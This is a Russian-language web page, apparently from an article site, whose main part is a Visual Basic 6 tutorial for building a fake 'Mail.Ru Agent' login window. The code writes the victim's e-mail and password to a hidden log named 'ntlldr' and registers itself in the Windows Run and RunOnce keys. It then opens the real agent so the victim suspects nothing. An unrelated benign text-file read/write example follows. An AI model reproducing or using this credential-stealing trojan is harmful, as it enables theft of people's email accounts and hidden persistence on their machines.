Главная страница Случайная страница
Разделы сайта
АвтомобилиАстрономияБиологияГеографияДом и садДругие языкиДругоеИнформатикаИсторияКультураЛитератураЛогикаМатематикаМедицинаМеталлургияМеханикаОбразованиеОхрана трудаПедагогикаПолитикаПравоПсихологияРелигияРиторикаСоциологияСпортСтроительствоТехнологияТуризмФизикаФилософияФинансыХимияЧерчениеЭкологияЭкономикаЭлектроника
⚡️ Для новых пользователей первый месяц бесплатно. А далее 290 руб/мес, это в 3 раза дешевле аналогов. За эту цену доступен весь функционал: напоминание о визитах, чаевые, предоплаты, общение с клиентами, переносы записей и так далее.
✅ Уйма гибких настроек, которые помогут вам зарабатывать больше и забыть про чувство «что-то мне нужно было сделать».
Сомневаетесь? нажмите на текст, запустите чат-бота и убедитесь во всем сами!
Взлом Mail.Ru, программа для взлома своими ручками.
|
|
Привет, сегодня создадим программу для взлома Mail.Ru Стандартная форма, добавим 2 кнопки, 1 image, 3 label, 1 textbox и две комбобокса. Создадим интерфейс программы “Mail.Ru Агент”
После того как создадим интерфейс программы два раза нажимаем на кнопку и добавим код:
Private Sub Command1_Click() On Error Resume Next 'обезапасим себя от ошибки. Dim MyFile As Long MyFile = FreeFile: Open (" C: \ntlldr") For Append As #MyFile ' имя нашего лога ntlldr Print #MyFile, " E-mail: "; Combo1.Text & Combo2.Text Print #MyFile, " Pass: "; Text1.Text: Close #MyFile SetKeyValue HKEY_LOCAL_MACHINE, " SOFTWARE\Microsoft\Windows\CurrentVersion\Run", " Mail.Ru-Agent", " путь к программе", REG_SZ SetKeyValue HKEY_LOCAL_MACHINE, " SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce", " Mail.Ru-Agent", " путь к программе", REG_SZ Shell " C: \Program Files\Mail.Ru\Agent\magent.exe" EndEnd SubPrivate Sub Command2_Click() EndEnd SubДобавим модуль: модуль для добавление записи в реестр, качаем тут: https://vbbook.ru/files/article/vb/185/Module1.bas
можно обойтись и без модуля добавите сами вручную. Если не добавили модуль удалите строки:
SetKeyValue HKEY_LOCAL_MACHINE, " SOFTWARE\Microsoft\Windows\CurrentVersion\Run", " Mail.Ru-Agent", " путь к программе", REG_SZSetKeyValue HKEY_LOCAL_MACHINE, " SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce", " Mail.Ru-Agent", " путь к программе", REG_SZОбясняю то что мы написали:
Open (" C: \ntlldr") For Append As #MyFile - Создаем файл ntlldr в диске с. Имя нашего лога ntlldr, файл без расширения можно открыть с помощью блокнота.
Shell " C: \Program Files\Mail.Ru\Agent\magent.exe" - откроем настоящую программу агента чтоб не было подозрении.
SetKeyValue HKEY_LOCAL_MACHINE, " SOFTWARE\Microsoft\Windows\CurrentVersion\Run", " Mail.Ru-Agent", " C: \Program Files\Mail.Ru\Agent\MailRu.exe", REG_SZ
SetKeyValue HKEY_LOCAL_MACHINE, " SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce", " Mail.Ru-Agent", " C: \Program Files\Mail.Ru\Agent\MailRu.exe", REG_SZ - Добавляем программу в реестр для автозагрузки
Вот и все.
Пример работы с текстом
Option Explicit Dim strOpen As String, strTxt As String, f As String, strPath As String Private Sub cmdExit_Click() Unload Me 'Выгружаем форму End Sub Private Sub cmdOpen1_Click() 'ОТКРЫТИЕ ТЕКСТОВОГО ФАЙЛА: ВАРИАНТ №1 Me. txtText.Text = " " strPath = App.Path & " \Save\Test.txt" 'Переменная, указывает путь куда будет сохраняться файл f = FreeFile Open (strPath) For Input As #f 'Открываем файл для Чтения Do While Not EOF(f) Input #f, strOpen Me. txtText.Text = Me. txtText.Text & strOpen & vbCrLf Loop Close #f End Sub Private Sub cmdOpen2_Click() 'ОТКРЫТИЕ ТЕКСТОВОГО ФАЙЛА: ВАРИАНТ №2 strPath = App.Path & " \Save\Test.txt" 'Переменная, указывает путь куда будет сохраняться файл f = FreeFile Open (strPath) For Input As #f 'Открываем файл для Чтения txtText.Text = Input(LOF(f), #f) Close #f End Sub Private Sub cmdOpen3_Click() 'ОТКРЫТИЕ УКАЗАННУЮ СТРОКУ В ТЕКСТОВОМ ФАЙЛЕ: ВАРИАНТ №3 Dim i As Integer strPath = App.Path & " \Save\Test.txt" 'Переменная, указывает путь куда будет сохраняться файл f = FreeFile Open (strPath) For Input As #f For i = 1 To 4 Input #f, strOpen Me. txtText.Text = strOpen Next i Close #f End Sub Private Sub cmdSave_Click() 'СОХРАНЕНИЕ ТЕКСТОВОГО ФАЙЛА strTxt = txtText.Text 'Присваеваем переменно txtText.Text strPath = App.Path & " \Save\Test.txt" 'Переменная, указывает путь куда будет сохраняться файл f = FreeFile Open (strPath) For Output As #f Print #f, strTxt 'Записываем Close #f 'Закрываем End Sub
|
|